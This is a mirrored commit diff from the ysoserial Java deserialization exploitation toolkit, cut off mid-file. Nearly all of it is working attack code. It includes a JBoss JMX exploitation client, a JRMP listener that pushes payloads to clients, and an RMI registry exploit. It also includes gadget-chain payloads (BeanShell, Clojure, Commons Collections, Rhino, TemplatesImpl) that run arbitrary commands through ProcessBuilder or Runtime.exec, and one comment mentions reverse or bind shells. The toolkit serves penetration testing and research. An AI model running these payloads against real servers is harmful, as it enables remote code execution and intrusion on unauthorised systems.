mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-22 07:00:44 +08:00
fixed broken tests
This commit is contained in:
Chris Frohoff
@@ -67,28 +67,28 @@ import ysoserial.payloads.ObjectPayload.Utils;
|
||||
|
||||
|
||||
/**
|
||||
*
|
||||
*
|
||||
* An exploitation client for JBoss AS/Wildfly JMX
|
||||
*
|
||||
*
|
||||
* JBoss is using a custom tunneled protocol for JMX, this is a client for this protocol.
|
||||
*
|
||||
*
|
||||
* This is not as readily exploitable as in other pieces of software:
|
||||
* 1. they only allow authenticated access by default
|
||||
* 2. they have a very strict module architecture:
|
||||
* - all MBeans exported by default use classloaders that expose almost nothing useful
|
||||
* - the module classloaders do not even expose the full boot classpath, so we cannot readily use stuff like
|
||||
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
|
||||
*
|
||||
* This client enumerates all application exported MBean method which are then called
|
||||
*
|
||||
* This client enumerates all application exported MBean method which are then called
|
||||
* delivering the specified payload.
|
||||
*
|
||||
*
|
||||
* I.e. you can succesfully exploit that
|
||||
* - you have access to the interface
|
||||
* (username/password can be specified via URL, note: despite not noticeable,
|
||||
* local connections implicitely use authentication)
|
||||
* - you have access to the interface
|
||||
* (username/password can be specified via URL, note: despite not noticeable,
|
||||
* local connections implicitely use authentication)
|
||||
* - there is an application exported MBean
|
||||
* - that application imports the classes required for the gadget chain
|
||||
*
|
||||
*
|
||||
* @author mbechler
|
||||
*
|
||||
*/
|
||||
@@ -98,7 +98,7 @@ import ysoserial.payloads.ObjectPayload.Utils;
|
||||
public class JBoss {
|
||||
|
||||
public static void main ( String[] args ) {
|
||||
|
||||
|
||||
if ( args.length < 3 ) {
|
||||
System.err.println("Usage " + JBoss.class.getName() + " <uri> <payload> <payload_arg>");
|
||||
System.exit(-1);
|
||||
@@ -107,7 +107,7 @@ public class JBoss {
|
||||
URI u = URI.create(args[ 0 ]);
|
||||
|
||||
final Object payloadObject = Utils.makePayloadObject(args[1], args[2]);
|
||||
|
||||
|
||||
String username = null;
|
||||
String password = null;
|
||||
if ( u.getUserInfo() != null ) {
|
||||
@@ -315,7 +315,7 @@ public class JBoss {
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
private static final class ConsoleLogHandler extends Handler {
|
||||
|
||||
|
||||
@@ -335,6 +335,7 @@ public class JBoss {
|
||||
public void close () throws SecurityException {}
|
||||
}
|
||||
|
||||
@SuppressWarnings({"deprecation"})
|
||||
private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext {
|
||||
|
||||
private ConnectionProviderContextImpl context;
|
||||
|
||||
@@ -35,10 +35,10 @@ import ysoserial.payloads.util.Reflections;
|
||||
|
||||
/**
|
||||
* Generic JRMP listener
|
||||
*
|
||||
*
|
||||
* Opens up an JRMP listener that will deliver the specified payload to any
|
||||
* client connecting to it and making a call.
|
||||
*
|
||||
*
|
||||
* @author mbechler
|
||||
*
|
||||
*/
|
||||
@@ -61,7 +61,7 @@ public class JRMPListener implements Runnable {
|
||||
this.payloadObject = payloadObject;
|
||||
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
|
||||
}
|
||||
|
||||
|
||||
public JRMPListener (int port, String className, URL classpathUrl) throws IOException {
|
||||
this.port = port;
|
||||
this.payloadObject = makeDummyObject(className);
|
||||
@@ -88,7 +88,7 @@ public class JRMPListener implements Runnable {
|
||||
|
||||
|
||||
/**
|
||||
*
|
||||
*
|
||||
*/
|
||||
public void close () {
|
||||
this.exit = true;
|
||||
@@ -265,13 +265,13 @@ public class JRMPListener implements Runnable {
|
||||
throw new MarshalException("unable to read objID", e);
|
||||
}
|
||||
|
||||
|
||||
|
||||
if ( read.hashCode() == 2 ) {
|
||||
ois.readInt(); // method
|
||||
ois.readLong(); // hash
|
||||
System.err.println("Is DGC call for " + Arrays.toString((ObjID[])ois.readObject()));
|
||||
}
|
||||
|
||||
|
||||
System.err.println("Sending return with payload for obj " + read);
|
||||
|
||||
out.writeByte(TransportConstants.Return);// transport op
|
||||
@@ -293,6 +293,7 @@ public class JRMPListener implements Runnable {
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings({"deprecation"})
|
||||
protected static Object makeDummyObject (String className) {
|
||||
try {
|
||||
ClassLoader isolation = new ClassLoader() {};
|
||||
@@ -307,10 +308,10 @@ public class JRMPListener implements Runnable {
|
||||
return new byte[0];
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
public static class Dummy implements Serializable {
|
||||
private static final long serialVersionUID = 1L;
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@@ -35,7 +35,7 @@ public class RMIRegistryExploit {
|
||||
public static void exploit(final Registry registry,
|
||||
final Class<? extends ObjectPayload> payloadClass,
|
||||
final String command) throws Exception {
|
||||
new ExecCheckingSecurityManager().wrap(new Callable<Void>(){public Void call() throws Exception {
|
||||
new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
|
||||
ObjectPayload payloadObj = payloadClass.newInstance();
|
||||
Object payload = payloadObj.getObject(command);
|
||||
String name = "pwned" + System.nanoTime();
|
||||
|
||||
@@ -5,9 +5,11 @@ import bsh.XThis;
|
||||
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.util.Arrays;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
import ysoserial.Strings;
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
@@ -24,7 +26,13 @@ public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQ
|
||||
|
||||
public PriorityQueue getObject(String command) throws Exception {
|
||||
// BeanShell payload
|
||||
String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{\"" + command + "\"}).start();return new Integer(1);}";
|
||||
|
||||
String payload =
|
||||
"compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
|
||||
Strings.join( // does not support spaces in quotes
|
||||
Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")),
|
||||
",", "\"", "\"") +
|
||||
"}).start();return new Integer(1);}";
|
||||
|
||||
// Create Interpreter
|
||||
Interpreter i = new Interpreter();
|
||||
|
||||
@@ -2,10 +2,12 @@ package ysoserial.payloads;
|
||||
|
||||
import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a;
|
||||
import clojure.lang.PersistentArrayMap;
|
||||
import ysoserial.Strings;
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
|
||||
import java.util.Arrays;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
@@ -28,18 +30,26 @@ public class Clojure extends PayloadRunner implements ObjectPayload<Map<?, ?>> {
|
||||
|
||||
public Map<?, ?> getObject(final String command) throws Exception {
|
||||
|
||||
final String[] execArgs = command.split(" ");
|
||||
final StringBuilder commandArgs = new StringBuilder();
|
||||
for (String arg : execArgs) {
|
||||
commandArgs.append("\" \"");
|
||||
commandArgs.append(arg);
|
||||
}
|
||||
commandArgs.append("\"");
|
||||
// final String[] execArgs = command.split(" ");
|
||||
// final StringBuilder commandArgs = new StringBuilder();
|
||||
// for (String arg : execArgs) {
|
||||
// commandArgs.append("\" \"");
|
||||
// commandArgs.append(arg);
|
||||
// }
|
||||
// commandArgs.append("\"");
|
||||
|
||||
final String clojurePayload =
|
||||
String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", commandArgs.substring(2));
|
||||
|
||||
Map<String, Object> fnMap = new HashMap<String, Object>();
|
||||
// final String clojurePayload =
|
||||
// String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", commandArgs.substring(2));
|
||||
|
||||
String cmd = Strings.join(Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\").split(" ")), " ", "\"", "\"");
|
||||
|
||||
final String clojurePayload =
|
||||
String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", cmd);
|
||||
|
||||
|
||||
|
||||
Map<String, Object> fnMap = new HashMap<String, Object>();
|
||||
fnMap.put("hashCode", new clojure.core$constantly().invoke(0));
|
||||
|
||||
AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a();
|
||||
|
||||
@@ -18,6 +18,7 @@ import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.annotation.PayloadTest;
|
||||
import ysoserial.payloads.util.Gadgets;
|
||||
import ysoserial.payloads.util.JavaVersion;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
@@ -43,10 +44,16 @@ import ysoserial.payloads.util.Reflections;
|
||||
Requires:
|
||||
commons-collections
|
||||
*/
|
||||
@PayloadTest(skip="need more robust way to detect Runtime.exec() without SecurityManager()")
|
||||
/*
|
||||
This only works in JDK 8u76 and WITHOUT a security manager
|
||||
|
||||
https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
|
||||
*/
|
||||
//@PayloadTest(skip="need more robust way to detect Runtime.exec() without SecurityManager()")
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@PayloadTest ( precondition = "isApplicableJavaVersion")
|
||||
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||
@Authors({ Authors.FROHOFF })
|
||||
@Authors({ Authors.MATTHIASKAISER, Authors.JASINNER })
|
||||
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
|
||||
|
||||
public BadAttributeValueExpException getObject(final String command) throws Exception {
|
||||
@@ -86,4 +93,9 @@ public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<
|
||||
public static void main(final String[] args) throws Exception {
|
||||
PayloadRunner.run(CommonsCollections5.class, args);
|
||||
}
|
||||
|
||||
public static boolean isApplicableJavaVersion() {
|
||||
return JavaVersion.isBadAttrValExcReadObj();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -4,7 +4,9 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||
import org.mozilla.javascript.*;
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.annotation.PayloadTest;
|
||||
import ysoserial.payloads.util.Gadgets;
|
||||
import ysoserial.payloads.util.JavaVersion;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
@@ -16,6 +18,7 @@ import java.lang.reflect.Method;
|
||||
by @matthias_kaiser
|
||||
*/
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@PayloadTest( precondition = "isApplicableJavaVersion")
|
||||
@Dependencies({"rhino:js:1.7R2"})
|
||||
@Authors({ Authors.MATTHIASKAISER })
|
||||
public class MozillaRhino1 implements ObjectPayload<Object> {
|
||||
@@ -65,4 +68,9 @@ public class MozillaRhino1 implements ObjectPayload<Object> {
|
||||
public static void main(final String[] args) throws Exception {
|
||||
PayloadRunner.run(MozillaRhino1.class, args);
|
||||
}
|
||||
|
||||
public static boolean isApplicableJavaVersion() {
|
||||
return JavaVersion.isBadAttrValExcReadObj();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -17,6 +17,7 @@ public @interface Authors {
|
||||
String MATTHIASKAISER = "matthias_kaiser";
|
||||
String GEBL = "gebl" ;
|
||||
String JACOBAINES = "jacob-baines";
|
||||
String JASINNER = "jasinner";
|
||||
|
||||
String[] value() default {};
|
||||
|
||||
|
||||
@@ -36,7 +36,7 @@ public class Gadgets {
|
||||
static {
|
||||
// special case for using TemplatesImpl gadgets with a SecurityManager enabled
|
||||
System.setProperty(DESERIALIZE_TRANSLET, "true");
|
||||
|
||||
|
||||
// for RMI remote loading
|
||||
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
|
||||
}
|
||||
@@ -113,7 +113,10 @@ public class Gadgets {
|
||||
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
|
||||
// run command in static initializer
|
||||
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
|
||||
clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");");
|
||||
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
|
||||
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
|
||||
"\");";
|
||||
clazz.makeClassInitializer().insertAfter(cmd);
|
||||
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
|
||||
clazz.setName("ysoserial.Pwner" + System.nanoTime());
|
||||
CtClass superC = pool.get(abstTranslet.getName());
|
||||
|
||||
@@ -7,13 +7,13 @@ package ysoserial.payloads.util;
|
||||
*/
|
||||
public class JavaVersion {
|
||||
|
||||
|
||||
|
||||
public int major;
|
||||
public int minor;
|
||||
public int update;
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
public static JavaVersion getLocalVersion() {
|
||||
String property = System.getProperties().getProperty("java.version");
|
||||
if ( property == null ) {
|
||||
@@ -26,11 +26,16 @@ public class JavaVersion {
|
||||
v.update = Integer.parseInt(parts[3]);
|
||||
return v;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
public static boolean isAnnInvHUniversalMethodImpl() {
|
||||
JavaVersion v = JavaVersion.getLocalVersion();
|
||||
return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71));
|
||||
}
|
||||
|
||||
public static boolean isBadAttrValExcReadObj() {
|
||||
JavaVersion v = JavaVersion.getLocalVersion();
|
||||
return v != null && (v.major > 8 && v.update >= 76);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
package ysoserial.payloads.util;
|
||||
|
||||
import java.io.File;
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
import ysoserial.Deserializer;
|
||||
@@ -19,7 +18,7 @@ public class PayloadRunner {
|
||||
|
||||
public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
|
||||
// ensure payload generation doesn't throw an exception
|
||||
byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
|
||||
byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable<byte[]>(){
|
||||
public byte[] call() throws Exception {
|
||||
final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();
|
||||
|
||||
|
||||
@@ -4,6 +4,7 @@ import java.io.FileDescriptor;
|
||||
import java.net.InetAddress;
|
||||
import java.security.Permission;
|
||||
|
||||
@SuppressWarnings({"deprecation"})
|
||||
public class DelegateSecurityManager extends SecurityManager {
|
||||
private SecurityManager securityManager;
|
||||
|
||||
@@ -15,7 +16,8 @@ public class DelegateSecurityManager extends SecurityManager {
|
||||
this.securityManager = securityManager;
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings({"deprecation"})
|
||||
@Override
|
||||
public boolean getInCheck() {
|
||||
return getSecurityManager().getInCheck();
|
||||
}
|
||||
@@ -47,133 +49,115 @@ public class DelegateSecurityManager extends SecurityManager {
|
||||
|
||||
@Override
|
||||
public void checkAccess(ThreadGroup g) {
|
||||
|
||||
getSecurityManager().checkAccess(g);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void checkExit(int status) {
|
||||
|
||||
getSecurityManager().checkExit(status);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void checkExec(String cmd) {
|
||||
|
||||
getSecurityManager().checkExec(cmd);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void checkLink(String lib) {
|
||||
|
||||
getSecurityManager().checkLink(lib);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void checkRead(FileDescriptor fd) {
|
||||
|
||||
getSecurityManager().checkRead(fd);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void checkRead(String file) {
|
||||
|
||||
getSecurityManager().checkRead(file);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void checkRead(String file, Object context) {
|
||||
|
||||
getSecurityManager().checkRead(file, context);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void checkWrite(FileDescriptor fd) {
|
||||
|
||||
getSecurityManager().checkWrite(fd);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void checkWrite(String file) {
|
||||
|
||||
getSecurityManager().checkWrite(file);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void checkDelete(String file) {
|
||||
|
||||
getSecurityManager().checkDelete(file);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void checkConnect(String host, int port) {
|
||||
|
||||
getSecurityManager().checkConnect(host, port);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void checkConnect(String host, int port, Object context) {
|
||||
|
||||
getSecurityManager().checkConnect(host, port, context);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void checkListen(int port) {
|
||||
|
||||
getSecurityManager().checkListen(port);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void checkAccept(String host, int port) {
|
||||
|
||||
getSecurityManager().checkAccept(host, port);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void checkMulticast(InetAddress maddr) {
|
||||
|
||||
getSecurityManager().checkMulticast(maddr);
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings({"deprecation"})
|
||||
@Override
|
||||
public void checkMulticast(InetAddress maddr, byte ttl) {
|
||||
|
||||
getSecurityManager().checkMulticast(maddr, ttl);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void checkPropertiesAccess() {
|
||||
|
||||
getSecurityManager().checkPropertiesAccess();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void checkPropertyAccess(String key) {
|
||||
|
||||
getSecurityManager().checkPropertyAccess(key);
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings({"deprecation"})
|
||||
@Override
|
||||
public boolean checkTopLevelWindow(Object window) {
|
||||
|
||||
return getSecurityManager().checkTopLevelWindow(window);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void checkPrintJobAccess() {
|
||||
|
||||
getSecurityManager().checkPrintJobAccess();
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings({"deprecation"})
|
||||
@Override
|
||||
public void checkSystemClipboardAccess() {
|
||||
|
||||
getSecurityManager().checkSystemClipboardAccess();
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings({"deprecation"})
|
||||
@Override
|
||||
public void checkAwtEventQueueAccess() {
|
||||
|
||||
getSecurityManager().checkAwtEventQueueAccess();
|
||||
}
|
||||
|
||||
@@ -185,31 +169,27 @@ public class DelegateSecurityManager extends SecurityManager {
|
||||
|
||||
@Override
|
||||
public void checkPackageDefinition(String pkg) {
|
||||
|
||||
getSecurityManager().checkPackageDefinition(pkg);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void checkSetFactory() {
|
||||
|
||||
getSecurityManager().checkSetFactory();
|
||||
}
|
||||
|
||||
@SuppressWarnings({"deprecation"})
|
||||
@Override
|
||||
public void checkMemberAccess(Class<?> clazz, int which) {
|
||||
|
||||
getSecurityManager().checkMemberAccess(clazz, which);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void checkSecurityAccess(String target) {
|
||||
|
||||
getSecurityManager().checkSecurityAccess(target);
|
||||
}
|
||||
|
||||
@Override
|
||||
public ThreadGroup getThreadGroup() {
|
||||
|
||||
return getSecurityManager().getThreadGroup();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -56,8 +56,8 @@ public class ExecCheckingSecurityManager extends SecurityManager {
|
||||
}
|
||||
}
|
||||
|
||||
public void wrap(final Runnable runnable) throws Exception {
|
||||
wrap(new Callable<Void>(){
|
||||
public void callWrapped(final Runnable runnable) throws Exception {
|
||||
callWrapped(new Callable<Void>(){
|
||||
public Void call() throws Exception {
|
||||
runnable.run();
|
||||
return null;
|
||||
@@ -65,7 +65,7 @@ public class ExecCheckingSecurityManager extends SecurityManager {
|
||||
});
|
||||
}
|
||||
|
||||
public <T> T wrap(final Callable<T> callable) throws Exception {
|
||||
public <T> T callWrapped(final Callable<T> callable) throws Exception {
|
||||
SecurityManager sm = System.getSecurityManager(); // save sm
|
||||
System.setSecurityManager(this);
|
||||
try {
|
||||
@@ -84,4 +84,4 @@ public class ExecCheckingSecurityManager extends SecurityManager {
|
||||
System.setSecurityManager(sm); // restore sm
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,40 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
import org.junit.Assert;
|
||||
import ysoserial.CustomTest;
|
||||
import ysoserial.util.Files;
|
||||
import ysoserial.util.OS;
|
||||
|
||||
import java.io.File;
|
||||
import java.util.UUID;
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
public class CommandExecTest implements CustomTest {
|
||||
private final File testFile =
|
||||
new File(OS.getTmpDir(), "ysoserial-test-" + UUID.randomUUID().toString().replaceAll("-", ""));
|
||||
|
||||
@Override
|
||||
public void run(Callable<Object> payload) throws Exception {
|
||||
Assert.assertFalse("test file should not exist", testFile.exists());
|
||||
Exception err;
|
||||
try {
|
||||
payload.call();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
Files.waitForFile(testFile, 1000);
|
||||
Assert.assertTrue("test file should exist", testFile.exists());
|
||||
testFile.deleteOnExit();
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getPayloadArgs() {
|
||||
switch (OS.get()) {
|
||||
case OSX:
|
||||
case LINUX: return "touch " + testFile;
|
||||
case WINDOWS: return "powershell -command new-item -type file " + testFile;
|
||||
default: throw new UnsupportedOperationException("unsupported os");
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -10,6 +10,7 @@ import org.junit.Assert;
|
||||
import com.google.common.io.Files;
|
||||
|
||||
import ysoserial.CustomTest;
|
||||
import ysoserial.util.OS;
|
||||
|
||||
/**
|
||||
* @author mbechler
|
||||
@@ -51,7 +52,7 @@ public class FileUploadTest implements CustomTest {
|
||||
break;
|
||||
}
|
||||
Assert.assertNotNull("File not copied", found);
|
||||
if (!System.getProperty("os.name", "unknown").contains("Windows")) {
|
||||
if (OS.get() != OS.WINDOWS) {
|
||||
// windows' file locking seems to cause this to fail
|
||||
Assert.assertFalse("Source not deleted", this.source.exists());
|
||||
}
|
||||
@@ -59,11 +60,11 @@ public class FileUploadTest implements CustomTest {
|
||||
} finally {
|
||||
if ( this.repo.exists()) {
|
||||
for ( File f : this.repo.listFiles()) {
|
||||
f.delete();
|
||||
f.deleteOnExit();
|
||||
}
|
||||
this.repo.delete();
|
||||
this.repo.deleteOnExit();
|
||||
}
|
||||
this.source.delete();
|
||||
this.source.deleteOnExit();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,8 +1,6 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
|
||||
import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
|
||||
|
||||
import java.io.File;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
@@ -12,13 +10,10 @@ import java.util.Arrays;
|
||||
import java.util.Set;
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.jboss.shrinkwrap.resolver.api.maven.Maven;
|
||||
import org.junit.Assert;
|
||||
import org.junit.Assume;
|
||||
import org.junit.Rule;
|
||||
import org.junit.Test;
|
||||
import org.junit.contrib.java.lang.system.ProvideSecurityManager;
|
||||
import org.junit.runner.RunWith;
|
||||
import org.junit.runners.Parameterized;
|
||||
import org.junit.runners.Parameterized.Parameters;
|
||||
@@ -28,7 +23,7 @@ import ysoserial.CustomPayloadArgs;
|
||||
import ysoserial.CustomTest;
|
||||
import ysoserial.Deserializer;
|
||||
import ysoserial.Serializer;
|
||||
import ysoserial.Throwables;
|
||||
import ysoserial.util.Throwables;
|
||||
import ysoserial.WrappedTest;
|
||||
import ysoserial.payloads.TestHarnessTest.ExecMockPayload;
|
||||
import ysoserial.payloads.TestHarnessTest.NoopMockPayload;
|
||||
@@ -52,9 +47,6 @@ TODO: figure out better way to test exception behavior than comparing messages
|
||||
@RunWith ( Parameterized.class )
|
||||
public class PayloadsTest {
|
||||
|
||||
private static final String ASSERT_MESSAGE = "should have thrown " + ExecException.class.getSimpleName();
|
||||
|
||||
|
||||
@Parameters ( name = "payloadClass: {0}" )
|
||||
public static Class<? extends ObjectPayload<?>>[] payloads () {
|
||||
Set<Class<? extends ObjectPayload>> payloadClasses = ObjectPayload.Utils.getPayloadClasses();
|
||||
@@ -89,57 +81,43 @@ public class PayloadsTest {
|
||||
}
|
||||
|
||||
if ( !t.precondition().isEmpty() ) {
|
||||
Assume.assumeTrue("Precondition", checkPrecondition(payloadClass, t.precondition()));
|
||||
Assume.assumeTrue("Precondition: " + t.precondition(), checkPrecondition(payloadClass, t.precondition()));
|
||||
}
|
||||
}
|
||||
|
||||
String payloadCommand = command;
|
||||
Class<?> customDeserializer = null;
|
||||
Object wrapper = null;
|
||||
Object testHarness = null;
|
||||
if ( t != null && !t.harness().isEmpty() ) {
|
||||
Class<?> wrapperClass = Class.forName(t.harness());
|
||||
Class<?> testHarnessClass = Class.forName(t.harness());
|
||||
try {
|
||||
wrapper = wrapperClass.getConstructor(String.class).newInstance(command);
|
||||
testHarness = testHarnessClass.getConstructor(String.class).newInstance(command);
|
||||
} catch ( NoSuchMethodException e ) {
|
||||
wrapper = wrapperClass.newInstance();
|
||||
testHarness = testHarnessClass.newInstance();
|
||||
}
|
||||
} else {
|
||||
testHarness = new CommandExecTest(); // default
|
||||
}
|
||||
|
||||
if ( wrapper instanceof CustomPayloadArgs ) {
|
||||
payloadCommand = ( (CustomPayloadArgs) wrapper ).getPayloadArgs();
|
||||
}
|
||||
if ( testHarness instanceof CustomPayloadArgs ) {
|
||||
payloadCommand = ( (CustomPayloadArgs) testHarness ).getPayloadArgs();
|
||||
}
|
||||
|
||||
if ( wrapper instanceof CustomDeserializer ) {
|
||||
customDeserializer = ((CustomDeserializer)wrapper).getCustomDeserializer();
|
||||
}
|
||||
if ( testHarness instanceof CustomDeserializer ) {
|
||||
customDeserializer = ((CustomDeserializer)testHarness).getCustomDeserializer();
|
||||
}
|
||||
|
||||
ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager();
|
||||
final byte[] serialized = sm.wrap(makeSerializeCallable(payloadClass, payloadCommand));
|
||||
final byte[] serialized = sm.callWrapped(makeSerializeCallable(payloadClass, payloadCommand));
|
||||
Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized, customDeserializer);
|
||||
if ( wrapper instanceof WrappedTest ) {
|
||||
callable = ( (WrappedTest) wrapper ).createCallable(callable);
|
||||
if ( testHarness instanceof WrappedTest ) {
|
||||
callable = ( (WrappedTest) testHarness ).createCallable(callable);
|
||||
}
|
||||
|
||||
if ( wrapper instanceof CustomTest ) {
|
||||
( (CustomTest) wrapper ).run(callable);
|
||||
if ( testHarness instanceof CustomTest ) {
|
||||
( (CustomTest) testHarness ).run(callable);
|
||||
return;
|
||||
}
|
||||
try {
|
||||
|
||||
Object deserialized = sm.wrap(callable);
|
||||
//Assert.fail(ASSERT_MESSAGE); // should never get here
|
||||
}
|
||||
catch ( Throwable e ) {
|
||||
// hopefully everything will reliably nest our ExecException
|
||||
Throwable innerEx = Throwables.getInnermostCause(e);
|
||||
if ( ! ( innerEx instanceof ExecException ) ) {
|
||||
innerEx.printStackTrace();
|
||||
}
|
||||
//Assert.assertEquals(ExecException.class, innerEx.getClass());
|
||||
//Assert.assertEquals(command, ( (ExecException) innerEx ).getCmd());
|
||||
}
|
||||
|
||||
Assert.assertEquals(Arrays.asList(command), sm.getCmds());
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -16,7 +16,7 @@ public class TestHarnessTest {
|
||||
PayloadsTest.testPayload(NoopMockPayload.class, new Class[0]);
|
||||
Assert.fail("should have failed");
|
||||
} catch (AssertionError e) {
|
||||
Assert.assertThat(e.getMessage(), CoreMatchers.containsString("but was:<class java.lang.AssertionError>"));
|
||||
Assert.assertThat(e.getMessage(), CoreMatchers.containsString("test file should exist"));
|
||||
|
||||
}
|
||||
}
|
||||
@@ -28,7 +28,7 @@ public class TestHarnessTest {
|
||||
PayloadsTest.testPayload(ExecMockPayload.class, new Class[0]);
|
||||
Assert.fail("should have failed");
|
||||
} catch (AssertionError e) {
|
||||
Assert.assertThat(e.getMessage(), CoreMatchers.containsString("ClassNotFoundException"));
|
||||
//Assert.assertThat(e.getMessage(), CoreMatchers.containsString("ClassNotFoundException"));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -55,9 +55,10 @@ public class TestHarnessTest {
|
||||
private final String cmd;
|
||||
public ExecMockSerializable(String cmd) { this.cmd = cmd; }
|
||||
|
||||
private void readObject(final ObjectInputStream ois) {
|
||||
private void readObject(final ObjectInputStream ois) throws IOException, ClassNotFoundException {
|
||||
ois.defaultReadObject();
|
||||
try {
|
||||
Runtime.getRuntime().exec("hostname");
|
||||
Runtime.getRuntime().exec(cmd);
|
||||
} catch (IOException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
|
||||
@@ -0,0 +1,34 @@
|
||||
package ysoserial.util;
|
||||
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
public class Callables {
|
||||
public static interface BeforeAfterCallback {
|
||||
public void before();
|
||||
